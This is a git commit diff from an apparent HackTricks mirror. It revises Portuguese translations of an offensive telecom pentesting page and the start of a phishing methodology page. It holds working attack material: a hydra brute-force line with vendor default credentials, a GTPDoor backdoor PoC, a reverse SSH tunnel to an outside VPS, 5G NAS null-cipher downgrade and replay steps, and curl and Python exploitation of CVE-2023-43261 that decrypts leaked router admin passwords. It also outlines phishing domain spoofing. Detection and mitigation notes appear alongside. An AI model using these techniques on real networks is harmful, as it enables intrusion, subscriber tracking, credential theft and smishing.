mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw
This commit is contained in:
		
							parent
							
								
									8cda91e328
								
							
						
					
					
						commit
						6550e950ee
					
				| @ -3,25 +3,25 @@ | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| > [!NOTE] | ||||
| > Protocolos de núcleo móvel (GPRS Tunnelling Protocol – GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis. Como eles trafegam sobre plain UDP com quase nenhuma autenticação, **qualquer ponto de apoio dentro do perímetro de uma operadora geralmente pode alcançar diretamente os planos de sinalização do core**. As notas a seguir reúnem truques ofensivos observados na prática contra SGSN/GGSN, PGW/SGW e outros nós EPC. | ||||
| > Protocolos do núcleo móvel (GPRS Tunnelling Protocol – GTP) frequentemente atravessam backbones de roaming semi-confiáveis GRX/IPX. Como eles trafegam sobre UDP simples com quase nenhuma autenticação, **qualquer ponto de apoio dentro do perímetro da operadora normalmente pode alcançar diretamente os planos de sinalização core**. As notas a seguir reúnem truques ofensivos observados na prática contra SGSN/GGSN, PGW/SGW e outros nós EPC. | ||||
| 
 | ||||
| ## 1. Recon & Acesso Inicial | ||||
| ## 1. Reconhecimento & Acesso Inicial | ||||
| 
 | ||||
| ### 1.1  Contas padrão OSS / NE | ||||
| Um conjunto surpreendentemente grande de elementos de rede de fornecedores é entregue com usuários SSH/Telnet hard-coded como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, …  Um wordlist dedicado aumenta dramaticamente o sucesso de brute-force: | ||||
| ### 1.1  Contas OSS / NE padrão | ||||
| Um conjunto surpreendentemente grande de elementos de rede de fornecedores é entregue com usuários SSH/Telnet hard-coded, tais como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Uma wordlist dedicada aumenta dramaticamente o sucesso de brute-force: | ||||
| ```bash | ||||
| hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt | ||||
| ``` | ||||
| Se o dispositivo expõe apenas um VRF de gerenciamento, faça pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo). | ||||
| Se o dispositivo expõe apenas um management VRF, faça pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo). | ||||
| 
 | ||||
| ### 1.2  Descoberta de Hosts dentro de GRX/IPX | ||||
| A maioria dos operadores GRX ainda permite **ICMP echo** através do backbone. Combine `masscan` com as sondas UDP `gtpv1` embutidas para mapear rapidamente os listeners GTP-C: | ||||
| ### 1.2  Descoberta de Hosts dentro do GRX/IPX | ||||
| A maioria dos operadores GRX ainda permite **ICMP echo** através do backbone. Combine `masscan` com as sondas UDP `gtpv1` integradas para mapear rapidamente os listeners GTP-C: | ||||
| ```bash | ||||
| masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 | ||||
| ``` | ||||
| ## 2. Enumerating Subscribers – `cordscan` | ||||
| ## 2. Enumeração de Assinantes – `cordscan` | ||||
| 
 | ||||
| A seguinte ferramenta Go cria pacotes **GTP-C Create PDP Context Request** e registra as respostas. Cada resposta revela o atual **SGSN / MME** que serve o IMSI consultado e, às vezes, o PLMN visitado pelo assinante. | ||||
| A ferramenta Go a seguir cria pacotes **GTP-C Create PDP Context Request** e registra as respostas. Cada resposta revela o **SGSN / MME** atual que serve o IMSI consultado e, às vezes, a PLMN visitada pelo assinante. | ||||
| ```bash | ||||
| # Build | ||||
| GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan | ||||
| @ -32,17 +32,17 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan | ||||
| Flags principais: | ||||
| - `--imsi` IMSI do assinante alvo | ||||
| - `--oper` Home / HNI (MCC+MNC) | ||||
| - `-w`      Grava raw packets para pcap | ||||
| - `-w`      Gravar pacotes brutos em pcap | ||||
| 
 | ||||
| Constantes importantes dentro do binário podem ser patchadas para ampliar as varreduras: | ||||
| Constantes importantes dentro do binário podem ser modificadas para ampliar as varreduras: | ||||
| ``` | ||||
| pingtimeout       = 3   // seconds before giving up | ||||
| pco               = 0x218080 | ||||
| common_tcp_ports  = "22,23,80,443,8080" | ||||
| ``` | ||||
| ## 3. Code Execution over GTP – `GTPDoor` | ||||
| ## 3. Execução de Código sobre GTP – `GTPDoor` | ||||
| 
 | ||||
| `GTPDoor` é um pequeno serviço ELF que **faz bind em UDP 2123 e analisa todo pacote GTP-C recebido**. Quando o payload começa com uma tag pré-compartilhada, o restante é decriptado (AES-128-CBC) e executado via `/bin/sh -c`. O stdout/stderr são exfiltrados dentro de mensagens **Echo Response**, de modo que nunca é criada uma sessão de saída. | ||||
| `GTPDoor` é um pequeno serviço ELF que escuta em UDP 2123 e parseia todo pacote GTP-C recebido. Quando o payload começa com uma pre-shared tag, o restante é decriptado (AES-128-CBC) e executado via `/bin/sh -c`. O stdout/stderr são exfiltrados dentro de mensagens Echo Response para que nenhuma sessão de saída seja criada. | ||||
| 
 | ||||
| Pacote PoC mínimo (Python): | ||||
| ```python | ||||
| @ -53,35 +53,35 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) | ||||
| print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) | ||||
| ``` | ||||
| Detecção: | ||||
| * qualquer host enviando **unbalanced Echo Requests** para IPs do SGSN | ||||
| * flag de versão do GTP definido como 1 enquanto message type = 1 (Echo) – desvio da especificação | ||||
| * qualquer host enviando **unbalanced Echo Requests** para os IPs do SGSN | ||||
| * flag de versão do GTP setada para 1 enquanto message type = 1 (Echo) – desvio da especificação | ||||
| 
 | ||||
| ## 4. Pivoting através do Core | ||||
| ## 4. Pivoting Through the Core | ||||
| 
 | ||||
| ### 4.1  `sgsnemu` + SOCKS5 | ||||
| `OsmoGGSN` inclui um emulador SGSN capaz de **establish a PDP context towards a real GGSN/PGW**. Uma vez negociado, o Linux recebe uma nova interface `tun0` acessível a partir do roaming peer. | ||||
| `OsmoGGSN` inclui um emulador SGSN capaz de **estabelecer um PDP context towards a real GGSN/PGW**.  Uma vez negociado, o Linux recebe uma nova interface `tun0` acessível a partir do roaming peer. | ||||
| ```bash | ||||
| sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ | ||||
| -APN internet -c 1 -d | ||||
| ip route add 172.16.0.0/12 dev tun0 | ||||
| microsocks -p 1080 &   # internal SOCKS proxy | ||||
| ``` | ||||
| Com o firewall hair-pinning adequado, este túnel contorna VLANs apenas de signalling e o coloca diretamente no **plano de dados**. | ||||
| Com o firewall hair-pinning adequado, este túnel contorna VLANs somente de sinalização e o coloca diretamente no **data plane**. | ||||
| 
 | ||||
| ### 4.2  SSH Reverse Tunnel over Port 53 | ||||
| DNS quase sempre está aberto em infraestruturas de roaming. Exponha um serviço SSH interno no seu VPS escutando em :53 e retorne depois de casa: | ||||
| DNS está quase sempre aberto em infraestruturas de roaming.  Exponha um serviço SSH interno para o seu VPS escutando em :53 e retorne depois a partir de casa: | ||||
| ```bash | ||||
| ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com | ||||
| ``` | ||||
| Verifique se `GatewayPorts yes` está habilitado no VPS. | ||||
| Verifique se `GatewayPorts yes` está ativado no VPS. | ||||
| 
 | ||||
| ## 5. Canais Clandestinos | ||||
| ## 5. Canais encobertos | ||||
| 
 | ||||
| | Canal | Transporte | Decodificação | Observações | | ||||
| |-------|-----------|--------------|-------------| | ||||
| | Canal | Transporte | Decodificação | Notas | | ||||
| |---------|-----------|----------|-------| | ||||
| | ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | ouvinte puramente passivo, sem tráfego de saída | | ||||
| | DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | monitora o subdomínio `*.nodep` | | ||||
| | GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | mistura-se ao tráfego legítimo de GTP-C | | ||||
| | GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | se mistura ao tráfego legítimo de GTP-C | | ||||
| 
 | ||||
| All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed. | ||||
| 
 | ||||
| @ -118,74 +118,74 @@ rm -f /tmp/sh ; history -c | ||||
| ``` | ||||
| ## 8. Caixa de Ferramentas | ||||
| 
 | ||||
| * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling descrito nas seções anteriores. | ||||
| * `FScan` : varreduras TCP na intranet (`fscan -p 22,80,443 10.0.0.0/24`) | ||||
| * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections. | ||||
| * `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`) | ||||
| * `Responder` : LLMNR/NBT-NS rogue WPAD | ||||
| * `Microsocks` + `ProxyChains` : pivoting SOCKS5 leve | ||||
| * `FRP` (≥0.37) : NAT traversal / ponte entre ativos | ||||
| * `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting | ||||
| * `FRP` (≥0.37) : NAT traversal / asset bridging | ||||
| 
 | ||||
| ## 9. Ataques de registro NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay | ||||
| ## 9. Ataques de Registro NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay | ||||
| 
 | ||||
| O procedimento de registro 5G roda sobre NAS (Non-Access Stratum) por cima de NGAP. Até que a NAS security seja ativada por Security Mode Command/Complete, mensagens iniciais são não autenticadas e não encriptadas. Essa janela pré-segurança permite vários caminhos de ataque quando você pode observar ou adulterar o tráfego N2 (por exemplo, on-path dentro do core, rogue gNB, ou testbed). | ||||
| O procedimento de registro 5G roda sobre NAS (Non-Access Stratum) por cima de NGAP. Até que a segurança NAS seja ativada por Security Mode Command/Complete, as mensagens iniciais não são autenticadas nem encriptadas. Essa janela pré-segurança permite múltiplos vetores de ataque quando você pode observar ou manipular o tráfego N2 (por exemplo, on-path dentro do core, rogue gNB, ou ambiente de testes). | ||||
| 
 | ||||
| Registration flow (simplified): | ||||
| Fluxo de registro (simplificado): | ||||
| - Registration Request: UE sends SUCI (encrypted SUPI) and capabilities. | ||||
| - Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*. | ||||
| - Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated. | ||||
| - PDU Session Establishment: IP/QoS setup. | ||||
| 
 | ||||
| Dicas para laboratório (non-RF): | ||||
| - Core: Open5GS default deployment é suficiente para reproduzir os fluxos. | ||||
| - UE: simulador ou UE de teste; decodifique usando o Wireshark. | ||||
| Dicas de configuração de laboratório (não-RF): | ||||
| - Core: Open5GS default deployment is sufficient to reproduce flows. | ||||
| - UE: simulator or test UE; decode using Wireshark. | ||||
| - Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB). | ||||
| - Useful display filters in Wireshark: | ||||
| - ngap.procedure_code == 15 (InitialUEMessage) | ||||
| - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) | ||||
| 
 | ||||
| ### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI | ||||
| Esperado: UE/USIM deve transmitir SUCI (SUPI encrypted with the home-network public key). Encontrar um SUPI/IMSI em plaintext no Registration Request indica um defeito de privacidade que permite rastreamento persistente do assinante. | ||||
| ### 9.1 Privacidade de identificador: falhas de SUCI expondo SUPI/IMSI | ||||
| Esperado: UE/USIM deve transmitir SUCI (SUPI encriptado com a public key da home-network). Encontrar um SUPI/IMSI em plaintext no Registration Request indica um defeito de privacidade que possibilita tracking persistente do assinante. | ||||
| 
 | ||||
| Como testar: | ||||
| - Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE. | ||||
| - Wireshark quick checks: | ||||
| - It should decode as SUCI, not IMSI. | ||||
| - Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates um leak. | ||||
| - Capture a primeira mensagem NAS em InitialUEMessage e inspecione o Mobile Identity IE. | ||||
| - Verificações rápidas no Wireshark: | ||||
| - Deve decodificar como SUCI, não como IMSI. | ||||
| - Exemplos de filtro: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` deve existir; ausência disso junto com presença de `imsi` indica vazamento. | ||||
| 
 | ||||
| O que coletar: | ||||
| - MCC/MNC/MSIN se expostos; registre por UE e rastreie ao longo do tempo/localizações. | ||||
| - MCC/MNC/MSIN se expostos; log por UE e rastrear ao longo do tempo/locais. | ||||
| 
 | ||||
| Mitigação: | ||||
| - Exigir UEs/USIMs que enviem somente SUCI; alertar sobre qualquer IMSI/SUPI no NAS inicial. | ||||
| - Forçar UEs/USIMs a usar apenas SUCI; alertar sobre qualquer IMSI/SUPI em NAS inicial. | ||||
| 
 | ||||
| ### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) | ||||
| ### 9.2 Rebaixamento de capacidades (bidding-down) para algoritmos nulos (EEA0/EIA0) | ||||
| Contexto: | ||||
| - UE anuncia EEA (encryption) e EIA (integrity) suportados no UE Security Capability IE do Registration Request. | ||||
| - UE informa EEA (encryption) e EIA (integrity) suportados no UE Security Capability IE do Registration Request. | ||||
| - Mapeamentos comuns: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 são algoritmos nulos. | ||||
| 
 | ||||
| Problema: | ||||
| - Porque o Registration Request não é protegido por integridade, um atacante on-path pode limpar bits de capability para forçar a seleção de EEA0/EIA0 mais tarde durante o Security Mode Command. Algumas stacks incorretamente permitem algoritmos nulos fora de serviços de emergência. | ||||
| - Como o Registration Request não é protegido por integridade, um atacante on-path pode zerar bits de capability para forçar a seleção de EEA0/EIA0 mais tarde durante o Security Mode Command. Algumas stacks aceitam erroneamente algoritmos nulos fora de serviços de emergência. | ||||
| 
 | ||||
| Passos ofensivos: | ||||
| - Intercept InitialUEMessage e modifique o NAS UE Security Capability para anunciar apenas EEA0/EIA0. | ||||
| - Com Sni5Gect, hook a mensagem NAS e patch os bits de capability antes de encaminhar. | ||||
| - Observe se o AMF aceita cifras/integridade nulas e completa o Security Mode com EEA0/EIA0. | ||||
| - Intercept InitialUEMessage e modificar o NAS UE Security Capability para anunciar apenas EEA0/EIA0. | ||||
| - Com Sni5Gect, hook na mensagem NAS e patch nos bits de capability antes de encaminhar. | ||||
| - Observar se o AMF aceita chaves/ciphers nulos e completa o Security Mode com EEA0/EIA0. | ||||
| 
 | ||||
| Verificação/visibilidade: | ||||
| - No Wireshark, confirme os algoritmos selecionados após Security Mode Command/Complete. | ||||
| - Exemplo de saída de sniffer passivo: | ||||
| - Example passive sniffer output: | ||||
| ``` | ||||
| Encyrption in use [EEA0] | ||||
| Integrity in use [EIA0, EIA1, EIA2] | ||||
| SUPI (MCC+MNC+MSIN) 9997000000001 | ||||
| ``` | ||||
| Mitigações (obrigatórias): | ||||
| - Configure AMF/policy para rejeitar EEA0/EIA0, exceto quando estritamente exigido (por exemplo, chamadas de emergência). | ||||
| - Prefira aplicar EEA2/EIA2 como mínimo; registrar e gerar alarmes para qualquer contexto de segurança NAS que negocie algoritmos nulos. | ||||
| - Configure AMF/policy para rejeitar EEA0/EIA0 exceto onde estritamente mandatado (por exemplo, chamadas de emergência). | ||||
| - Prefira aplicar EEA2/EIA2 no mínimo; registrar e gerar alarmes em qualquer contexto de segurança NAS que negocie null algorithms. | ||||
| 
 | ||||
| ### 9.3 Replay de initial Registration Request (pre-security NAS) | ||||
| Porque o initial NAS carece de integridade e freshness, a InitialUEMessage+Registration Request capturada pode ser replayed para o AMF. | ||||
| ### 9.3 Replay da Registration Request inicial (pre-security NAS) | ||||
| Porque o NAS inicial carece de integridade e recência, o InitialUEMessage+Registration Request capturado pode ser reproduzido para o AMF. | ||||
| 
 | ||||
| PoC rule for 5GReplay to forward matching replays: | ||||
| Regra PoC para 5GReplay encaminhar replays correspondentes: | ||||
| ```xml | ||||
| <beginning> | ||||
| <property value="THEN" | ||||
| @ -208,34 +208,93 @@ boolean_expression="nas_5g.message_type == 65"/> | ||||
| </property> | ||||
| </beginning> | ||||
| ``` | ||||
| What to observe: | ||||
| - Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure. | ||||
| O que observar: | ||||
| - Se o AMF aceita o replay e procede para a Authentication; a falta de validação de freshness/context indica exposição. | ||||
| 
 | ||||
| Mitigations: | ||||
| - Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE. | ||||
| Mitigações: | ||||
| - Aplicar proteção contra replay/binding de contexto no AMF; rate-limit e correlacionar por GNB/UE. | ||||
| 
 | ||||
| ### 9.4 Tooling pointers (reproducible) | ||||
| - Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS. | ||||
| - Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration. | ||||
| - 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule. | ||||
| - Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences. | ||||
| ### 9.4 Dicas de ferramentas (reproduzível) | ||||
| - Open5GS: spin up um AMF/SMF/UPF para emular o core; observar N2 (NGAP) e NAS. | ||||
| - Wireshark: verificar decodificações de NGAP/NAS; aplicar os filtros acima para isolar Registration. | ||||
| - 5GReplay: capturar uma registration, depois replay de mensagens NGAP + NAS específicas conforme a regra. | ||||
| - Sni5Gect: sniff/modify/inject em tempo real o plano de controlo NAS para forçar algoritmos null ou perturbar sequências de authentication. | ||||
| 
 | ||||
| ### 9.5 Defensive checklist | ||||
| - Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs. | ||||
| - Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2. | ||||
| - Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers. | ||||
| - Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage. | ||||
| ### 9.5 Checklist defensivo | ||||
| - Inspecionar continuamente Registration Request em busca de SUPI/IMSI em texto claro; bloquear dispositivos/USIMs ofensores. | ||||
| - Rejeitar EEA0/EIA0, exceto para procedimentos de emergência estritamente definidos; exigir pelo menos EEA2/EIA2. | ||||
| - Detectar infraestrutura rogue ou mal configurada: gNB/AMF não autorizados, peers N2 inesperados. | ||||
| - Alertar sobre modos de segurança NAS que resultam em algoritmos null ou replays frequentes de InitialUEMessage. | ||||
| 
 | ||||
| --- | ||||
| ## Ideias de detecção | ||||
| 1. **Qualquer dispositivo que não seja um SGSN/GGSN estabelecendo Create PDP Context Requests**. | ||||
| 2. **Portas não padrão (53, 80, 443) recebendo SSH handshakes** de IPs internos. | ||||
| 3. **Echo Requests frequentes sem as correspondentes Echo Responses** – pode indicar beacons GTPDoor. | ||||
| 4. **Alta taxa de tráfego ICMP echo-reply com campos identifier/sequence grandes e não zero**. | ||||
| 5. 5G: **InitialUEMessage transportando NAS Registration Requests repetidos de endpoints idênticos** (sinal de replay). | ||||
| 6. 5G: **NAS Security Mode negociando EEA0/EIA0** fora de contextos de emergência. | ||||
| 
 | ||||
| ## References | ||||
| ## 10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261) | ||||
| 
 | ||||
| Abusar APIs web expostas de routers celulares industriais permite smishing furtivo originado pela operadora em escala. Os routers Milesight da série UR expõem um endpoint no estilo JSON-RPC em `/cgi`. Quando mal configurada, a API pode ser consultada sem autenticação para listar inbox/outbox de SMS e, em algumas implantações, para enviar SMS. | ||||
| 
 | ||||
| Requisições típicas não autenticadas (mesma estrutura para inbox/outbox): | ||||
| ```http | ||||
| POST /cgi HTTP/1.1 | ||||
| Host: <router> | ||||
| Content-Type: application/json | ||||
| 
 | ||||
| { "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] } | ||||
| ``` | ||||
| 
 | ||||
| ```json | ||||
| { "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] } | ||||
| ``` | ||||
| Respostas incluem campos como `timestamp`, `content`, `phone_number` (E.164) e `status` (`success` ou `failed`). Envios repetidos com `failed` para o mesmo número costumam ser “capability checks” do atacante para validar que um router/SIM consegue entregar antes de blasting. | ||||
| 
 | ||||
| Exemplo de curl para exfiltrar metadados de SMS: | ||||
| ```bash | ||||
| curl -sk -X POST http://<router>/cgi \ | ||||
| -H 'Content-Type: application/json' \ | ||||
| -d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}' | ||||
| ``` | ||||
| Notas sobre artefatos de auth: | ||||
| - Alguns tráfegos podem incluir um auth cookie, mas uma grande parte dos dispositivos expostos responde sem qualquer autenticação a `query_inbox`/`query_outbox` quando a interface de gestão está exposta à Internet. | ||||
| - Em ambientes que requerem auth, previously-leaked credentials (veja abaixo) restauram o acesso. | ||||
| 
 | ||||
| Caminho de recuperação de credenciais – CVE-2023-43261: | ||||
| - Famílias afetadas: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7). | ||||
| - Problema: logs servidos via web (por exemplo, `httpd.log`) são acessíveis sem autenticação em `/lang/log/` e contêm eventos de login de admin com a senha criptografada usando uma AES key/IV hardcoded presente em JavaScript do lado do cliente. | ||||
| - Acesso prático e descriptografia: | ||||
| ```bash | ||||
| curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p' | ||||
| # Look for entries like: {"username":"admin","password":"<base64>"} | ||||
| ``` | ||||
| Python mínimo para descriptografar leaked passwords (AES-128-CBC, hardcoded key/IV): | ||||
| ```python | ||||
| import base64 | ||||
| from Crypto.Cipher import AES | ||||
| from Crypto.Util.Padding import unpad | ||||
| KEY=b'1111111111111111'; IV=b'2222222222222222' | ||||
| enc_b64='...'  # value from httpd.log | ||||
| print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode()) | ||||
| ``` | ||||
| Hunting e ideias de detecção (rede): | ||||
| - Disparar alerta em `POST /cgi` não autenticados cujo corpo JSON contém `base`/`function` definido como `query_inbox` ou `query_outbox`. | ||||
| - Rastrear rajadas repetidas de `POST /cgi` seguidas por entradas `status":"failed"` em muitos números únicos vindos do mesmo IP de origem (capability testing). | ||||
| - Inventariar Milesight routers expostos à Internet; restringir gestão a VPN; desabilitar recursos de SMS a menos que necessários; atualizar para ≥ v35.3.0.7; rotacionar credenciais e revisar SMS logs por envios desconhecidos. | ||||
| 
 | ||||
| Shodan/OSINT pivots (exemplos vistos na prática): | ||||
| - `http.html:"rt_title"` casa com painéis de Milesight router. | ||||
| - Google dorking para logs expostos: `"/lang/log/system" ext:log`. | ||||
| 
 | ||||
| Impacto operacional: usar SIMs de operadoras legítimas dentro dos routers fornece altíssima deliverability/credibility de SMS para phishing, enquanto a exposição de inbox/outbox leaks sensitive metadata at scale. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Ideias de Detecção | ||||
| 1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**. | ||||
| 2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs. | ||||
| 3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons. | ||||
| 4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**. | ||||
| 5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal). | ||||
| 6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts. | ||||
| 
 | ||||
| ## Referências | ||||
| 
 | ||||
| - [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) | ||||
| - 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0) | ||||
| @ -243,5 +302,8 @@ Mitigations: | ||||
| - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) | ||||
| - 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS | ||||
| - 3GPP TS 33.501 – Security architecture and procedures for 5G System | ||||
| - [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) | ||||
| - [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261) | ||||
| - [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
| @ -4,42 +4,42 @@ | ||||
| 
 | ||||
| ## Metodologia | ||||
| 
 | ||||
| 1. Recon the victim | ||||
| 1. Selecione o **domínio da vítima**. | ||||
| 2. Faça alguma enumeração web básica **procurando portais de login** usados pela vítima e **decida** qual deles você irá **se passar por**. | ||||
| 3. Use **OSINT** para **encontrar e-mails**. | ||||
| 2. Prepare o ambiente | ||||
| 1. Recon da vítima | ||||
| 1. Selecione o **victim domain**. | ||||
| 2. Realize uma enumeração web básica **procurando por login portals** usados pela vítima e **decida** qual você irá **impersonate**. | ||||
| 3. Use OSINT para **encontrar emails**. | ||||
| 2. Preparar o ambiente | ||||
| 1. **Compre o domínio** que você vai usar para a avaliação de phishing | ||||
| 2. **Configure o serviço de email** e os registros relacionados (SPF, DMARC, DKIM, rDNS) | ||||
| 2. **Configure os registros do serviço de email** relacionados (SPF, DMARC, DKIM, rDNS) | ||||
| 3. Configure o VPS com **gophish** | ||||
| 3. Prepare a campanha | ||||
| 1. Prepare o **modelo de email** | ||||
| 2. Prepare a **página web** para roubar as credenciais | ||||
| 3. Preparar a campanha | ||||
| 1. Prepare o **email template** | ||||
| 2. Prepare a **web page** para roubar as credenciais | ||||
| 4. Lance a campanha! | ||||
| 
 | ||||
| ## Generate similar domain names or buy a trusted domain | ||||
| ## Gerar nomes de domínio similares ou comprar um domínio confiável | ||||
| 
 | ||||
| ### Domain Name Variation Techniques | ||||
| ### Técnicas de variação de Nome de Domínio | ||||
| 
 | ||||
| - **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com). | ||||
| - **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com). | ||||
| - **New TLD**: Same domain using a **new TLD** (e.g., zelster.org) | ||||
| - **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com). | ||||
| - **Keyword**: O nome do domínio **contém** uma **keyword** importante do domínio original (por exemplo, zelster.com-management.com). | ||||
| - **hypened subdomain**: Trocar o **ponto por um hífen** de um subdomínio (por exemplo, www-zelster.com). | ||||
| - **New TLD**: Mesmo domínio usando um **novo TLD** (por exemplo, zelster.org) | ||||
| - **Homoglyph**: Substitui uma letra no nome do domínio por **letras que parecem similares** (por exemplo, zelfser.com). | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| homograph-attacks.md | ||||
| {{#endref}} | ||||
| - **Transposition:** Ele **troca duas letras** dentro do nome de domínio (e.g., zelsetr.com). | ||||
| - **Singularization/Pluralization**: Adiciona ou remove “s” no final do nome de domínio (e.g., zeltsers.com). | ||||
| - **Omission**: Remove uma das letras do nome de domínio (e.g., zelser.com). | ||||
| - **Repetition:** Repete uma das letras no nome de domínio (e.g., zeltsser.com). | ||||
| - **Replacement**: Como homoglyph mas menos furtivo. Substitui uma das letras no nome de domínio, talvez por uma letra próxima da original no teclado (e.g, zektser.com). | ||||
| - **Subdomained**: Introduz um **ponto** dentro do nome de domínio (e.g., ze.lster.com). | ||||
| - **Insertion**: Insere uma letra no nome de domínio (e.g., zerltser.com). | ||||
| - **Missing dot**: Anexa a TLD ao nome de domínio (e.g., zelstercom.com) | ||||
| - **Transposition:** Troca duas letras dentro do nome do domínio (por exemplo, zelsetr.com). | ||||
| - **Singularization/Pluralization**: Adiciona ou remove “s” no final do nome do domínio (por exemplo, zeltsers.com). | ||||
| - **Omission**: Remove uma das letras do nome do domínio (por exemplo, zelser.com). | ||||
| - **Repetition:** Repete uma das letras do nome do domínio (por exemplo, zeltsser.com). | ||||
| - **Replacement**: Como homoglyph, mas menos furtivo. Substitui uma das letras do nome do domínio, possivelmente por uma letra próxima no teclado (por exemplo, zektser.com). | ||||
| - **Subdomained**: Introduz um **ponto** dentro do nome do domínio (por exemplo, ze.lster.com). | ||||
| - **Insertion**: Insere uma letra no nome do domínio (por exemplo, zerltser.com). | ||||
| - **Missing dot**: Anexa o TLD ao nome do domínio. (por exemplo, zelstercom.com) | ||||
| 
 | ||||
| **Automatic Tools** | ||||
| **Ferramentas Automáticas** | ||||
| 
 | ||||
| - [**dnstwist**](https://github.com/elceef/dnstwist) | ||||
| - [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) | ||||
| @ -52,43 +52,43 @@ homograph-attacks.md | ||||
| 
 | ||||
| ### Bitflipping | ||||
| 
 | ||||
| There is a **possibility that one of some bits stored or in communication might get automatically flipped** due to various factors like solar flares, cosmic rays, or hardware errors. | ||||
| Existe a **possibilidade de que alguns bits armazenados ou em comunicação sejam automaticamente invertidos** devido a vários fatores como erupções solares, raios cósmicos ou falhas de hardware. | ||||
| 
 | ||||
| When this concept is **applied to DNS requests**, it is possible that the **domain received by the DNS server** is not the same as the domain initially requested. | ||||
